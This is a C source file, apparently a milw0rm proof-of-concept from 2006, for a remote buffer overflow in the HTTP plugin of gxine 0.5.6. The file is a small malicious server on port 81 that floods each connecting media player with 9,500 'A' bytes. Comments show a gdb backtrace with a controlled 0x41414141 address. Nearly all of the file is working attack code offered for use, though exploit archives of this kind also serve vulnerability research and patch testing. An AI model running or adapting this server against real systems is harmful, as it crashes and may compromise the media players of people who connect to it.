95 lines
No EOL
2 KiB
C
95 lines
No EOL
2 KiB
C
//////////////////////////////////////////////////////
|
|
// gxine - HTTP Plugin Remote Buffer Overflow PoC
|
|
/////////////////////////////////////////////////////
|
|
//
|
|
// Federico L. Bossi Bonin
|
|
// fbossi[at]netcomm[dot]com[dot]ar
|
|
/////////////////////////////////////////////////////
|
|
|
|
// TESTED on gxine 0.5.6
|
|
////////////////////////
|
|
|
|
// 0xb78eccc7 in free () from /lib/tls/libc.so.6
|
|
// (gdb) backtrace
|
|
// #0 0xb78eccc7 in free () from /lib/tls/libc.so.6
|
|
// #1 0xb7438fc8 in ?? () from /usr/lib/xine/plugins/1.1.1/xineplug_inp_http.so
|
|
// #2 0x41414141 in ?? ()
|
|
// #3 0xb7f42164 in ?? () from /usr/lib/libxine.so.1
|
|
// #4 0x080b1810 in ?? ()
|
|
// #5 0xb7f0e635 in xine_open () from /usr/lib/libxine.so.1
|
|
// #6 0xb7f3967f in ?? () from /usr/lib/libxine.so.1
|
|
// #7 0x0877c084 in ?? ()
|
|
// #8 0x0930a931 in ?? ()
|
|
// #9 0x080880a2 in defs.3 ()
|
|
// #10 0xb0088478 in ?? ()
|
|
// #11 0x00000000 in ?? ()
|
|
|
|
#include <stdio.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#define PORT 81
|
|
#define LEN 9500
|
|
|
|
void shoot(int);
|
|
|
|
int main() {
|
|
struct sockaddr_in srv_addr, client;
|
|
int len,pid,sockfd,sock;
|
|
|
|
sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
|
|
|
if (sockfd < 0) {
|
|
perror("error socket()");
|
|
exit(1);
|
|
}
|
|
|
|
bzero((char *) &srv_addr, sizeof(srv_addr));
|
|
srv_addr.sin_family = AF_INET;
|
|
srv_addr.sin_addr.s_addr = INADDR_ANY;
|
|
srv_addr.sin_port = htons(PORT);
|
|
|
|
if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0) {
|
|
perror("error bind()");
|
|
exit(1);
|
|
}
|
|
|
|
|
|
|
|
printf("Listening on port %i\n",PORT);
|
|
|
|
listen(sockfd,5);
|
|
len = sizeof(client);
|
|
|
|
while (1) {
|
|
sock = accept(sockfd, (struct sockaddr *) &client, &len);
|
|
if (sock < 0) {
|
|
perror("error accept()");
|
|
exit(1);
|
|
}
|
|
|
|
pid = fork();
|
|
if (pid < 0) {
|
|
perror("fork()");
|
|
exit(1);
|
|
}
|
|
if (pid == 0) {
|
|
close(sockfd);
|
|
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
|
|
shoot(sock);
|
|
exit(0);
|
|
}
|
|
else close(sock);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
void shoot (int sock) {
|
|
int i;
|
|
for (i=0 ; i < LEN ; i++) {
|
|
write(sock,"\x41",1);
|
|
}
|
|
|
|
}
|
|
|
|
// milw0rm.com [2006-05-30]
|